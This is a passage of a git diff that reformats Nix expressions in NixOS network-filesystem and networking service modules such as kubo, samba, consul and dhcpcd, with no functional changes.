+        // lib.optionalAttrs (cfg.client.enable && cfg.client.extraConfig != { }) cfg.client.extraConfig;
       in
       lib.generators.toINI { } totalConfig;
 
@@ -455,21 +454,20 @@ in
 
     systemd.targets =
       let
-        targets =
-          [
-            {
-              ceph = {
-                description = "Ceph target allowing to start/stop all ceph service instances at once";
-                wantedBy = [ "multi-user.target" ];
-                unitConfig.StopWhenUnneeded = true;
-              };
-            }
-          ]
-          ++ lib.optional cfg.mon.enable (makeTarget "mon")
-          ++ lib.optional cfg.mds.enable (makeTarget "mds")
-          ++ lib.optional cfg.osd.enable (makeTarget "osd")
-          ++ lib.optional cfg.rgw.enable (makeTarget "rgw")
-          ++ lib.optional cfg.mgr.enable (makeTarget "mgr");
+        targets = [
+          {
+            ceph = {
+              description = "Ceph target allowing to start/stop all ceph service instances at once";
+              wantedBy = [ "multi-user.target" ];
+              unitConfig.StopWhenUnneeded = true;
+            };
+          }
+        ]
+        ++ lib.optional cfg.mon.enable (makeTarget "mon")
+        ++ lib.optional cfg.mds.enable (makeTarget "mds")
+        ++ lib.optional cfg.osd.enable (makeTarget "osd")
+        ++ lib.optional cfg.rgw.enable (makeTarget "rgw")
+        ++ lib.optional cfg.mgr.enable (makeTarget "mgr");
       in
       lib.mkMerge targets;
 
diff --git a/nixos/modules/services/network-filesystems/glusterfs.nix b/nixos/modules/services/network-filesystems/glusterfs.nix
index cd0ce42bba63..db00cdc11abb 100644
--- a/nixos/modules/services/network-filesystems/glusterfs.nix
+++ b/nixos/modules/services/network-filesystems/glusterfs.nix
@@ -173,24 +173,23 @@ in
       requires = lib.optional cfg.useRpcbind "rpcbind.service";
       after = [ "network.target" ] ++ lib.optional cfg.useRpcbind "rpcbind.service";
 
-      preStart =
-        ''
-          install -m 0755 -d /var/log/glusterfs
-        ''
-        # The copying of hooks is due to upstream bug https://bugzilla.redhat.com/show_bug.cgi?id=1452761
-        # Excludes one hook due to missing SELinux binaries.
-        + ''
-          mkdir -p /var/lib/glusterd/hooks/
-          ${rsync}/bin/rsync -a --exclude="S10selinux-label-brick.sh" ${glusterfs}/var/lib/glusterd/hooks/ /var/lib/glusterd/hooks/
+      preStart = ''
+        install -m 0755 -d /var/log/glusterfs
+      ''
+      # The copying of hooks is due to upstream bug https://bugzilla.redhat.com/show_bug.cgi?id=1452761
+      # Excludes one hook due to missing SELinux binaries.
+      + ''
+        mkdir -p /var/lib/glusterd/hooks/
+        ${rsync}/bin/rsync -a --exclude="S10selinux-label-brick.sh" ${glusterfs}/var/lib/glusterd/hooks/ /var/lib/glusterd/hooks/
 
-          ${tlsCmd}
-        ''
-        # `glusterfind` needs dirs that upstream installs at `make install` phase
-        # https://github.com/gluster/glusterfs/blob/v3.10.2/tools/glusterfind/Makefile.am#L16-L17
-        + ''
-          mkdir -p /var/lib/glusterd/glusterfind/.keys
-          mkdir -p /var/lib/glusterd/hooks/1/delete/post/
-        '';
+        ${tlsCmd}
+      ''
+      # `glusterfind` needs dirs that upstream installs at `make install` phase
+      # https://github.com/gluster/glusterfs/blob/v3.10.2/tools/glusterfind/Makefile.am#L16-L17
+      + ''
+        mkdir -p /var/lib/glusterd/glusterfind/.keys
+        mkdir -p /var/lib/glusterd/hooks/1/delete/post/
+      '';
 
       serviceConfig = {
         LimitNOFILE = 65536;
diff --git a/nixos/modules/services/network-filesystems/kubo.nix b/nixos/modules/services/network-filesystems/kubo.nix
index e13bd0b9c105..a8ae8f8964d0 100644
--- a/nixos/modules/services/network-filesystems/kubo.nix
+++ b/nixos/modules/services/network-filesystems/kubo.nix
@@ -366,66 +366,65 @@ in
       Mounts.FuseAllowOther = lib.mkDefault true;
     };
 
-    systemd.services.ipfs =
-      {
-        path = [
-          "/run/wrappers"
-          cfg.package
+    systemd.services.ipfs = {
+      path = [
+        "/run/wrappers"
+        cfg.package
+      ];
+      environment.IPFS_PATH = cfg.dataDir;
+
+      preStart = ''
+        if [[ ! -f "$IPFS_PATH/config" ]]; then
+          ipfs init --empty-repo=${lib.boolToString cfg.emptyRepo}
+        else
+          # After an unclean shutdown this file may exist which will cause the config command to attempt to talk to the daemon. This will hang forever if systemd is holding our sockets open.
+          rm -vf "$IPFS_PATH/api"
+      ''
+      + lib.optionalString cfg.autoMigrate ''
+        '${lib.getExe pkgs.kubo-migrator}' -to '${cfg.package.repoVersion}' -y
+      ''
+      + ''
+        fi
+        ipfs --offline config show |
+          ${pkgs.jq}/bin/jq -s '.[0].Pinning as $Pinning | .[0].Identity as $Identity | .[1] + {$Identity,$Pinning}' - '${configFile}' |
+
+          # This command automatically injects the private key and other secrets from
+          # the old config file back into the new config file.
+          # Unfortunately, it doesn't keep the original `Identity.PeerID`,
+          # so we need `ipfs config show` and jq above.
+          # See https://github.com/ipfs/kubo/issues/8993 for progress on fixing this problem.
+          # Kubo also wants a specific version of the original "Pinning.RemoteServices"
+          # section (redacted by `ipfs config show`), such that that section doesn't
+          # change when the changes are applied. Whyyyyyy.....
+          ipfs --offline config replace -
+      '';
+      postStop = lib.mkIf cfg.autoMount ''
+        # After an unclean shutdown the fuse mounts at cfg.settings.Mounts.IPFS and cfg.settings.Mounts.IPNS are locked
+        umount --quiet '${cfg.settings.Mounts.IPFS}' '${cfg.settings.Mounts.IPNS}' || true
+      '';
+      serviceConfig = {
+        ExecStart = [
+          ""
+          "${cfg.package}/bin/ipfs daemon ${kuboFlags}"
+        ];
+        User = cfg.user;
+        Group = cfg.group;
+        StateDirectory = "";
+        ReadWritePaths = lib.optionals (!cfg.autoMount) [
+          ""
+          cfg.dataDir
+        ];
+        # Make sure the socket units are started before ipfs.service
+        Sockets = [
+          "ipfs-gateway.socket"
+          "ipfs-api.socket"
         ];
-        environment.IPFS_PATH = cfg.dataDir;
-
-        preStart =
-          ''
-            if [[ ! -f "$IPFS_PATH/config" ]]; then
-              ipfs init --empty-repo=${lib.boolToString cfg.emptyRepo}
-            else
-              # After an unclean shutdown this file may exist which will cause the config command to attempt to talk to the daemon. This will hang forever if systemd is holding our sockets open.
-              rm -vf "$IPFS_PATH/api"
-          ''
-          + lib.optionalString cfg.autoMigrate ''
-            '${lib.getExe pkgs.kubo-migrator}' -to '${cfg.package.repoVersion}' -y
-          ''
-          + ''
-            fi
-            ipfs --offline config show |
-              ${pkgs.jq}/bin/jq -s '.[0].Pinning as $Pinning | .[0].Identity as $Identity | .[1] + {$Identity,$Pinning}' - '${configFile}' |
-
-              # This command automatically injects the private key and other secrets from
-              # the old config file back into the new config file.
-              # Unfortunately, it doesn't keep the original `Identity.PeerID`,
-              # so we need `ipfs config show` and jq above.
-              # See https://github.com/ipfs/kubo/issues/8993 for progress on fixing this problem.
-              # Kubo also wants a specific version of the original "Pinning.RemoteServices"
-              # section (redacted by `ipfs config show`), such that that section doesn't
-              # change when the changes are applied. Whyyyyyy.....
-              ipfs --offline config replace -
-          '';
-        postStop = lib.mkIf cfg.autoMount ''
-          # After an unclean shutdown the fuse mounts at cfg.settings.Mounts.IPFS and cfg.settings.Mounts.IPNS are locked
-          umount --quiet '${cfg.settings.Mounts.IPFS}' '${cfg.settings.Mounts.IPNS}' || true
-        '';
-        serviceConfig = {
-          ExecStart = [
-            ""
-            "${cfg.package}/bin/ipfs daemon ${kuboFlags}"
-          ];
-          User = cfg.user;
-          Group = cfg.group;
-          StateDirectory = "";
-          ReadWritePaths = lib.optionals (!cfg.autoMount) [
-            ""
-            cfg.dataDir
-          ];
-          # Make sure the socket units are started before ipfs.service
-          Sockets = [
-            "ipfs-gateway.socket"
-            "ipfs-api.socket"
-          ];
-        } // lib.optionalAttrs (cfg.serviceFdlimit != null) { LimitNOFILE = cfg.serviceFdlimit; };
       }
-      // lib.optionalAttrs (!cfg.startWhenNeeded) {
-        wantedBy = [ "default.target" ];
-      };
+      // lib.optionalAttrs (cfg.serviceFdlimit != null) { LimitNOFILE = cfg.serviceFdlimit; };
+    }
+    // lib.optionalAttrs (!cfg.startWhenNeeded) {
+      wantedBy = [ "default.target" ];
+    };
 
     systemd.sockets.ipfs-gateway = {
       wantedBy = [ "sockets.target" ];
@@ -443,7 +442,8 @@ in
         ListenStream = [
           ""
           "%t/ipfs.sock"
-        ] ++ (multiaddrsToListenStreams cfg.settings.Addresses.API);
+        ]
+        ++ (multiaddrsToListenStreams cfg.settings.Addresses.API);
         SocketMode = "0660";
         SocketUser = cfg.user;
         SocketGroup = cfg.group;
diff --git a/nixos/modules/services/network-filesystems/moosefs.nix b/nixos/modules/services/network-filesystems/moosefs.nix
index bb30448456da..f2f0d403c8a9 100644
--- a/nixos/modules/services/network-filesystems/moosefs.nix
+++ b/nixos/modules/services/network-filesystems/moosefs.nix
@@ -81,7 +81,8 @@ let
       ExecStop = "${pkgs.moosefs}/bin/mfs${name} -c ${configFile} stop";
       ExecReload = "${pkgs.moosefs}/bin/mfs${name} -c ${configFile} reload";
       PIDFile = "${cfg."${name}".settings.DATA_PATH}/.mfs${name}.lock";
-    } // extraConfig;
+    }
+    // extraConfig;
   };
 
 in
@@ -307,20 +308,19 @@ in
           (lib.optional (cfg.cgiserver.enable && cfg.cgiserver.openFirewall) cfg.cgiserver.settings.PORT)
         ];
 
-        systemd.tmpfiles.rules =
-          [
-            # Master directories
-            (lib.optionalString cfg.master.enable "d ${cfg.master.settings.DATA_PATH} 0700 ${mfsUser} ${mfsUser} -")
+        systemd.tmpfiles.rules = [
+          # Master directories
+          (lib.optionalString cfg.master.enable "d ${cfg.master.settings.DATA_PATH} 0700 ${mfsUser} ${mfsUser} -")
 
-            # Metalogger directories
-            (lib.optionalString cfg.metalogger.enable "d ${cfg.metalogger.settings.DATA_PATH} 0700 ${mfsUser} ${mfsUser} -")
+          # Metalogger directories
+          (lib.optionalString cfg.metalogger.enable "d ${cfg.metalogger.settings.DATA_PATH} 0700 ${mfsUser} ${mfsUser} -")
 
-            # Chunkserver directories
-            (lib.optionalString cfg.chunkserver.enable "d ${cfg.chunkserver.settings.DATA_PATH} 0700 ${mfsUser} ${mfsUser} -")
-          ]
-          ++ lib.optionals (cfg.chunkserver.enable && cfg.chunkserver.hdds != null) (
-            map (dir: "d ${dir} 0755 ${mfsUser} ${mfsUser} -") cfg.chunkserver.hdds
-          );
+          # Chunkserver directories
+          (lib.optionalString cfg.chunkserver.enable "d ${cfg.chunkserver.settings.DATA_PATH} 0700 ${mfsUser} ${mfsUser} -")
+        ]
+        ++ lib.optionals (cfg.chunkserver.enable && cfg.chunkserver.hdds != null) (
+          map (dir: "d ${dir} 0755 ${mfsUser} ${mfsUser} -") cfg.chunkserver.hdds
+        );
 
         systemd.services = lib.mkMerge [
           (lib.mkIf cfg.master.enable {
diff --git a/nixos/modules/services/network-filesystems/samba.nix b/nixos/modules/services/network-filesystems/samba.nix
index 9cc5a49168f6..79a0d42904f8 100644
--- a/nixos/modules/services/network-filesystems/samba.nix
+++ b/nixos/modules/services/network-filesystems/samba.nix
@@ -309,17 +309,16 @@ in
           "man:smb.conf(5)"
         ];
 
-        after =
-          [
-            "network.target"
-            "network-online.target"
-          ]
-          ++ lib.optionals (cfg.nmbd.enable) [
-            "samba-nmbd.service"
-          ]
-          ++ lib.optionals (cfg.winbindd.enable) [
-            "samba-winbindd.service"
-          ];
+        after = [
+          "network.target"
+          "network-online.target"
+        ]
+        ++ lib.optionals (cfg.nmbd.enable) [
+          "samba-nmbd.service"
+        ]
+        ++ lib.optionals (cfg.winbindd.enable) [
+          "samba-winbindd.service"
+        ];
 
         partOf = [ "samba.target" ];
         wantedBy = [ "samba.target" ];
@@ -352,13 +351,12 @@ in
           "man:smb.conf(5)"
         ];
 
-        after =
-          [
-            "network.target"
-          ]
-          ++ lib.optionals (cfg.nmbd.enable) [
-            "samba-nmbd.service"
-          ];
+        after = [
+          "network.target"
+        ]
+        ++ lib.optionals (cfg.nmbd.enable) [
+          "samba-nmbd.service"
+        ];
 
         partOf = [ "samba.target" ];
         wantedBy = [ "samba.target" ];
diff --git a/nixos/modules/services/network-filesystems/saunafs.nix b/nixos/modules/services/network-filesystems/saunafs.nix
index 5c3c513c06f7..e0c8788a8738 100644
--- a/nixos/modules/services/network-filesystems/saunafs.nix
+++ b/nixos/modules/services/network-filesystems/saunafs.nix
@@ -80,7 +80,8 @@ let
       ExecStart = "${pkgs.saunafs}/bin/sfs${name} -c ${configFile} start";
       ExecStop = "${pkgs.saunafs}/bin/sfs${name} -c ${configFile} stop";
       ExecReload = "${pkgs.saunafs}/bin/sfs${name} -c ${configFile} reload";
-    } // extraConfig;
+    }
+    // extraConfig;
   };
 
 in
diff --git a/nixos/modules/services/networking/asterisk.nix b/nixos/modules/services/networking/asterisk.nix
index 28b169f09782..308d594a10da 100644
--- a/nixos/modules/services/networking/asterisk.nix
+++ b/nixos/modules/services/networking/asterisk.nix
@@ -16,45 +16,44 @@ let
 
   # Add filecontents from files of useTheseDefaultConfFiles to confFiles, do not override
   defaultConfFiles = lib.subtractLists (lib.attrNames cfg.confFiles) cfg.useTheseDefaultConfFiles;
-  allConfFiles =
-    {
-      # Default asterisk.conf file
-      "asterisk.conf".text = ''
-        [directories]
-        astetcdir => /etc/asterisk
-        astmoddir => ${cfg.package}/lib/asterisk/modules
-        astvarlibdir => /var/lib/asterisk
-        astdbdir => /var/lib/asterisk
-        astkeydir => /var/lib/asterisk
-        astdatadir => /var/lib/asterisk
-        astagidir => /var/lib/asterisk/agi-bin
-        astspooldir => /var/spool/asterisk
-        astrundir => /run/asterisk
-        astlogdir => /var/log/asterisk
-        astsbindir => ${cfg.package}/sbin
-        ${cfg.extraConfig}
-      '';
+  allConfFiles = {
+    # Default asterisk.conf file
+    "asterisk.conf".text = ''
+      [directories]
+      astetcdir => /etc/asterisk
+      astmoddir => ${cfg.package}/lib/asterisk/modules
+      astvarlibdir => /var/lib/asterisk
+      astdbdir => /var/lib/asterisk
+      astkeydir => /var/lib/asterisk
+      astdatadir => /var/lib/asterisk
+      astagidir => /var/lib/asterisk/agi-bin
+      astspooldir => /var/spool/asterisk
+      astrundir => /run/asterisk
+      astlogdir => /var/log/asterisk
+      astsbindir => ${cfg.package}/sbin
+      ${cfg.extraConfig}
+    '';
 
-      # Loading all modules by default is considered sensible by the authors of
-      # "Asterisk: The Definitive Guide". Secure sites will likely want to
-      # specify their own "modules.conf" in the confFiles option.
-      "modules.conf".text = ''
-        [modules]
-        autoload=yes
-      '';
+    # Loading all modules by default is considered sensible by the authors of
+    # "Asterisk: The Definitive Guide". Secure sites will likely want to
+    # specify their own "modules.conf" in the confFiles option.
+    "modules.conf".text = ''
+      [modules]
+      autoload=yes
+    '';
 
-      # Use syslog for logging so logs can be viewed with journalctl
-      "logger.conf".text = ''
-        [general]
+    # Use syslog for logging so logs can be viewed with journalctl
+    "logger.conf".text = ''
+      [general]
 
-        [logfiles]
-        syslog.local0 => notice,warning,error
-      '';
-    }
-    // lib.mapAttrs (name: text: { inherit text; }) cfg.confFiles
-    // lib.listToAttrs (
-      map (x: lib.nameValuePair x { source = cfg.package + "/etc/asterisk/" + x; }) defaultConfFiles
-    );
+      [logfiles]
+      syslog.local0 => notice,warning,error
+    '';
+  }
+  // lib.mapAttrs (name: text: { inherit text; }) cfg.confFiles
+  // lib.listToAttrs (
+    map (x: lib.nameValuePair x { source = cfg.package + "/etc/asterisk/" + x; }) defaultConfFiles
+  );
 
 in
 
diff --git a/nixos/modules/services/networking/babeld.nix b/nixos/modules/services/networking/babeld.nix
index bc5574139d35..7e007415acf8 100644
--- a/nixos/modules/services/networking/babeld.nix
+++ b/nixos/modules/services/networking/babeld.nix
@@ -96,16 +96,15 @@ in
 
   config = lib.mkIf config.services.babeld.enable {
 
-    boot.kernel.sysctl =
-      {
-        "net.ipv6.conf.all.forwarding" = 1;
-        "net.ipv6.conf.all.accept_redirects" = 0;
-        "net.ipv4.conf.all.forwarding" = 1;
-        "net.ipv4.conf.all.rp_filter" = 0;
-      }
-      // lib.mapAttrs' (
-        ifname: _: lib.nameValuePair "net.ipv4.conf.${ifname}.rp_filter" (lib.mkDefault 0)
-      ) config.services.babeld.interfaces;
+    boot.kernel.sysctl = {
+      "net.ipv6.conf.all.forwarding" = 1;
+      "net.ipv6.conf.all.accept_redirects" = 0;
+      "net.ipv4.conf.all.forwarding" = 1;
+      "net.ipv4.conf.all.rp_filter" = 0;
+    }
+    // lib.mapAttrs' (
+      ifname: _: lib.nameValuePair "net.ipv4.conf.${ifname}.rp_filter" (lib.mkDefault 0)
+    ) config.services.babeld.interfaces;
 
     systemd.services.babeld = {
       description = "Babel routing daemon";
diff --git a/nixos/modules/services/networking/cloudflare-dyndns.nix b/nixos/modules/services/networking/cloudflare-dyndns.nix
index c8597d28c209..675fedeaf9b4 100644
--- a/nixos/modules/services/networking/cloudflare-dyndns.nix
+++ b/nixos/modules/services/networking/cloudflare-dyndns.nix
@@ -78,53 +78,53 @@ in
   };
 
   config = lib.mkIf cfg.enable {
-    systemd.services.cloudflare-dyndns =
-      {
-        description = "CloudFlare Dynamic DNS Client";
-        after = [ "network.target" ];
-        wantedBy = [ "multi-user.target" ];
+    systemd.services.cloudflare-dyndns = {
+      description = "CloudFlare Dynamic DNS Client";
+      after = [ "network.target" ];
+      wantedBy = [ "multi-user.target" ];
 
-        environment = {
-          CLOUDFLARE_DOMAINS = toString cfg.domains;
-        };
-
-        serviceConfig = {
-          Type = "simple";
-          DynamicUser = true;
-          StateDirectory = "cloudflare-dyndns";
-          Environment = [ "XDG_CACHE_HOME=%S/cloudflare-dyndns/.cache" ];
-          LoadCredential = [
-            "apiToken:${cfg.apiTokenFile}"
-          ];
-        };
-
-        script =
-          let
-            args =
-              [ "--cache-file /var/lib/cloudflare-dyndns/ip.cache" ]
-              ++ (if cfg.ipv4 then [ "-4" ] else [ "-no-4" ])
-              ++ (if cfg.ipv6 then [ "-6" ] else [ "-no-6" ])
-              ++ lib.optional cfg.deleteMissing "--delete-missing"
-              ++ lib.optional cfg.proxied "--proxied";
-          in
-          ''
-            export CLOUDFLARE_API_TOKEN_FILE=''${CREDENTIALS_DIRECTORY}/apiToken
-
-            # Added 2025-03-10: `cfg.apiTokenFile` used to be passed as an
-            # `EnvironmentFile` to the service, which required it to be of
-            # the form "CLOUDFLARE_API_TOKEN=" rather than just the secret.
-            # If we detect this legacy usage, error out.
-            token=$(< "''${CLOUDFLARE_API_TOKEN_FILE}")
-            if [[ $token == CLOUDFLARE_API_TOKEN* ]]; then
-              echo "Error: your api token starts with 'CLOUDFLARE_API_TOKEN='. Remove that, and instead specify just the token." >&2
-              exit 1
-            fi
-
-            exec ${lib.getExe cfg.package} ${toString args}
-          '';
-      }
-      // lib.optionalAttrs (cfg.frequency != null) {
-        startAt = cfg.frequency;
+      environment = {
+        CLOUDFLARE_DOMAINS = toString cfg.domains;
       };
+
+      serviceConfig = {
+        Type = "simple";
+        DynamicUser = true;
+        StateDirectory = "cloudflare-dyndns";
+        Environment = [ "XDG_CACHE_HOME=%S/cloudflare-dyndns/.cache" ];
+        LoadCredential = [
+          "apiToken:${cfg.apiTokenFile}"
+        ];
+      };
+
+      script =
+        let
+          args = [
+            "--cache-file /var/lib/cloudflare-dyndns/ip.cache"
+          ]
+          ++ (if cfg.ipv4 then [ "-4" ] else [ "-no-4" ])
+          ++ (if cfg.ipv6 then [ "-6" ] else [ "-no-6" ])
+          ++ lib.optional cfg.deleteMissing "--delete-missing"
+          ++ lib.optional cfg.proxied "--proxied";
+        in
+        ''
+          export CLOUDFLARE_API_TOKEN_FILE=''${CREDENTIALS_DIRECTORY}/apiToken
+
+          # Added 2025-03-10: `cfg.apiTokenFile` used to be passed as an
+          # `EnvironmentFile` to the service, which required it to be of
+          # the form "CLOUDFLARE_API_TOKEN=" rather than just the secret.
+          # If we detect this legacy usage, error out.
+          token=$(< "''${CLOUDFLARE_API_TOKEN_FILE}")
+          if [[ $token == CLOUDFLARE_API_TOKEN* ]]; then
+            echo "Error: your api token starts with 'CLOUDFLARE_API_TOKEN='. Remove that, and instead specify just the token." >&2
+            exit 1
+          fi
+
+          exec ${lib.getExe cfg.package} ${toString args}
+        '';
+    }
+    // lib.optionalAttrs (cfg.frequency != null) {
+      startAt = cfg.frequency;
+    };
   };
 }
diff --git a/nixos/modules/services/networking/cloudflared.nix b/nixos/modules/services/networking/cloudflared.nix
index 0a6a09dabf2b..4ba6a631a733 100644
--- a/nixos/modules/services/networking/cloudflared.nix
+++ b/nixos/modules/services/networking/cloudflared.nix
@@ -369,7 +369,8 @@ in
           RuntimeDirectoryMode = "0400";
           LoadCredential = [
             "credentials.json:${tunnel.credentialsFile}"
-          ] ++ (lib.optional (certFile != null) "cert.pem:${certFile}");
+          ]
+          ++ (lib.optional (certFile != null) "cert.pem:${certFile}");
 
           ExecStart = "${cfg.package}/bin/cloudflared tunnel --config=${mkConfigFile} --no-autoupdate run";
           Restart = "on-failure";
diff --git a/nixos/modules/services/networking/consul.nix b/nixos/modules/services/networking/consul.nix
index 74fcaaaddcdc..f20f20a87fe9 100644
--- a/nixos/modules/services/networking/consul.nix
+++ b/nixos/modules/services/networking/consul.nix
@@ -15,12 +15,14 @@ let
     ui_config = {
       enabled = cfg.webUi;
     };
-  } // cfg.extraConfig;
+  }
+  // cfg.extraConfig;
 
   configFiles = [
     "/etc/consul.json"
     "/etc/consul-addrs.json"
-  ] ++ cfg.extraConfigFiles;
+  ]
+  ++ cfg.extraConfigFiles;
 
   devices = lib.attrValues (lib.filterAttrs (_: i: i != null) cfg.interface);
   systemdDevices = lib.forEach devices (
@@ -193,26 +195,26 @@ in
           wantedBy = [ "multi-user.target" ];
           after = [ "network.target" ] ++ systemdDevices;
           bindsTo = systemdDevices;
-          restartTriggers =
-            [ config.environment.etc."consul.json".source ]
-            ++ lib.mapAttrsToList (_: d: d.source) (
-              lib.filterAttrs (n: _: lib.hasPrefix "consul.d/" n) config.environment.etc
-            );
+          restartTriggers = [
+            config.environment.etc."consul.json".source
+          ]
+          ++ lib.mapAttrsToList (_: d: d.source) (
+            lib.filterAttrs (n: _: lib.hasPrefix "consul.d/" n) config.environment.etc
+          );
 
-          serviceConfig =
-            {
-              ExecStart =
-                "@${lib.getExe cfg.package} consul agent -config-dir /etc/consul.d"
-                + lib.concatMapStrings (n: " -config-file ${n}") configFiles;
-              ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
-              PermissionsStartOnly = true;
-              User = if cfg.dropPrivileges then "consul" else null;
-              Restart = "on-failure";
-              TimeoutStartSec = "infinity";
-            }
-            // (lib.optionalAttrs (cfg.leaveOnStop) {
-              ExecStop = "${lib.getExe cfg.package} leave";
-            });
+          serviceConfig = {
+            ExecStart =
+              "@${lib.getExe cfg.package} consul agent -config-dir /etc/consul.d"
+              + lib.concatMapStrings (n: " -config-file ${n}") configFiles;
+            ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
+            PermissionsStartOnly = true;
+            User = if cfg.dropPrivileges then "consul" else null;
+            Restart = "on-failure";
+            TimeoutStartSec = "infinity";
+          }
+          // (lib.optionalAttrs (cfg.leaveOnStop) {
+            ExecStop = "${lib.getExe cfg.package} leave";
+          });
 
           path = with pkgs; [
             iproute2
diff --git a/nixos/modules/services/networking/coturn.nix b/nixos/modules/services/networking/coturn.nix
index 044d3ba0b791..8d60deda0085 100644
--- a/nixos/modules/services/networking/coturn.nix
+++ b/nixos/modules/services/networking/coturn.nix
@@ -409,16 +409,15 @@ in
               ProtectProc = "invisible";
               ProtectSystem = "strict";
               RemoveIPC = true;
-              RestrictAddressFamilies =
-                [
-                  "AF_INET"
-                  "AF_INET6"
-                  "AF_UNIX"
-                ]
-                ++ lib.optionals (cfg.listening-ips == [ ]) [
-                  # only used for interface discovery when no listening ips are configured
-                  "AF_NETLINK"
-                ];
+              RestrictAddressFamilies = [
+                "AF_INET"
+                "AF_INET6"
+                "AF_UNIX"
+              ]
+              ++ lib.optionals (cfg.listening-ips == [ ]) [
+                # only used for interface discovery when no listening ips are configured
+                "AF_NETLINK"
+              ];
               RestrictNamespaces = true;
               RestrictRealtime = true;
               RestrictSUIDSGID = true;
diff --git a/nixos/modules/services/networking/croc.nix b/nixos/modules/services/networking/croc.nix
index b6395992af82..1e8bf9026cdd 100644
--- a/nixos/modules/services/networking/croc.nix
+++ b/nixos/modules/services/networking/croc.nix
@@ -79,7 +79,8 @@ in
         InaccessiblePaths = [ "-+${rootDir}" ];
         BindReadOnlyPaths = [
           builtins.storeDir
-        ] ++ lib.optional (types.path.check cfg.pass) cfg.pass;
+        ]
+        ++ lib.optional (types.path.check cfg.pass) cfg.pass;
         # This is for BindReadOnlyPaths=
         # to allow traversal of directories they create in RootDirectory=.
         UMask = "0066";
diff --git a/nixos/modules/services/networking/dae.nix b/nixos/modules/services/networking/dae.nix
index 328db5850dcc..bc907066749e 100644
--- a/nixos/modules/services/networking/dae.nix
+++ b/nixos/modules/services/networking/dae.nix
@@ -152,7 +152,8 @@ in
               ExecStartPre = [
                 ""
                 "${daeBin} validate -c \${CREDENTIALS_DIRECTORY}/config.dae"
-              ] ++ (with lib; optional cfg.disableTxChecksumIpGeneric TxChecksumIpGenericWorkaround);
+              ]
+              ++ (with lib; optional cfg.disableTxChecksumIpGeneric TxChecksumIpGenericWorkaround);
               ExecStart = [
                 ""
                 "${daeBin} run --disable-timestamp -c \${CREDENTIALS_DIRECTORY}/config.dae"
diff --git a/nixos/modules/services/networking/dhcpcd.nix b/nixos/modules/services/networking/dhcpcd.nix
index 6aecbec7bd4a..5229cfb86996 100644
--- a/nixos/modules/services/networking/dhcpcd.nix
+++ b/nixos/modules/services/networking/dhcpcd.nix
@@ -289,16 +289,15 @@ in
         # dhcpcd.  So do a "systemctl restart" instead.
         stopIfChanged = false;
 
-        path =
-          [
-            dhcpcd
-            config.networking.resolvconf.package
-          ]
-          ++ lib.optional cfg.setHostname (
-            pkgs.writeShellScriptBin "hostname" ''
-              ${lib.getExe' pkgs.systemd "hostnamectl"} set-hostname --transient $1
-            ''
-          );
+        path = [
+          dhcpcd
+          config.networking.resolvconf.package
+        ]
+        ++ lib.optional cfg.setHostname (
+          pkgs.writeShellScriptBin "hostname" ''
+            ${lib.getExe' pkgs.systemd "hostnamectl"} set-hostname --transient $1
+          ''
+        );
 
         unitConfig.ConditionCapability = "CAP_NET_ADMIN";
 
@@ -335,12 +334,13 @@ in
             "CAP_NET_RAW"
             "CAP_NET_BIND_SERVICE"
           ];
-          ReadWritePaths =
-            [ "/proc/sys/net/ipv4" ]
-            ++ lib.optional cfgN.enableIPv6 "/proc/sys/net/ipv6"
-            ++ lib.optionals useResolvConf (
-              [ "/run/resolvconf" ] ++ config.networking.resolvconf.subscriberFiles
-            );
+          ReadWritePaths = [
+            "/proc/sys/net/ipv4"
+          ]
+          ++ lib.optional cfgN.enableIPv6 "/proc/sys/net/ipv6"
+          ++ lib.optionals useResolvConf (
+            [ "/run/resolvconf" ] ++ config.networking.resolvconf.subscriberFiles
+          );
           DeviceAllow = "";
           LockPersonality = true;
           MemoryDenyWriteExecute = true;
@@ -369,18 +369,17 @@ in
           RestrictNamespaces = true;
           RestrictRealtime = true;
           RestrictSUIDSGID = true;
-          SystemCallFilter =
-            [
-              "@system-service"
-              "~@aio"
-              "~@keyring"
-              "~@memlock"
-              "~@mount"
-            ]
-            ++ lib.optionals (!cfg.allowSetuid) [
-              "~@privileged"
-              "~@resources"
-            ];
+          SystemCallFilter = [
+            "@system-service"
+            "~@aio"
+            "~@keyring"
+            "~@memlock"
+            "~@mount"
+          ]
+          ++ lib.optionals (!cfg.allowSetuid) [
+            "~@privileged"
+            "~@resources"
+          ];
           SystemCallArchitectures = "native";
           UMask = "0027";
         };
diff --git a/nixos/modules/services/networking/doh-server.nix b/nixos/modules/services/networking/doh-server.nix
index baa3e1844946..834179ef9001 100644
--- a/nixos/modules/services/networking/doh-server.nix
+++ b/nixos/modules/services/networking/doh-server.nix
@@ -154,7 +154,8 @@ in
       documentation = [ "https://github.com/m13253/dns-over-https" ];
       after = [
         "network.target"
-      ] ++ lib.optional (cfg.useACMEHost != null) "acme-${cfg.useACMEHost}.service";
+      ]
+      ++ lib.optional (cfg.useACMEHost != null) "acme-${cfg.useACMEHost}.service";
       wants = lib.optional (cfg.useACMEHost != null) "acme-finished-${cfg.useACMEHost}.target";
       wantedBy = [ "multi-user.target" ];
       serviceConfig = {
diff --git a/nixos/modules/services/networking/ejabberd.nix b/nixos/modules/services/networking/ejabberd.nix
index b71b38a47af4..c4d692812c47 100644
--- a/nixos/modules/services/networking/ejabberd.nix
+++ b/nixos/modules/services/networking/ejabberd.nix
@@ -113,7 +113,8 @@ in
       path = [
         pkgs.findutils
         pkgs.coreutils
-      ] ++ lib.optional cfg.imagemagick pkgs.imagemagick;
+      ]
+      ++ lib.optional cfg.imagemagick pkgs.imagemagick;
 
       serviceConfig = {
         User = cfg.user;
diff --git a/nixos/modules/services/networking/firefox-syncserver.nix b/nixos/modules/services/networking/firefox-syncserver.nix
index 352faed492dc..b13ce25a06c0 100644
--- a/nixos/modules/services/networking/firefox-syncserver.nix
+++ b/nixos/modules/services/networking/firefox-syncserver.nix
@@ -21,25 +21,24 @@ let
     syncstorage = {
       database_url = dbURL;
     };
-    tokenserver =
-      {
-        node_type = "mysql";
-        database_url = dbURL;
-        fxa_email_domain = "api.accounts.firefox.com";
-        fxa_oauth_server_url = "https://oauth.accounts.firefox.com/v1";
-        run_migrations = true;
-        # if JWK caching is not enabled the token server must verify tokens
-        # using the fxa api, on a thread pool with a static size.
-        additional_blocking_threads_for_fxa_requests = 10;
-      }
-      // lib.optionalAttrs cfg.singleNode.enable {
-        # Single-node mode is likely to be used on small instances with little
-        # capacity. The default value (0.1) can only ever release capacity when
-        # accounts are removed if the total capacity is 10 or larger to begin
-        # with.
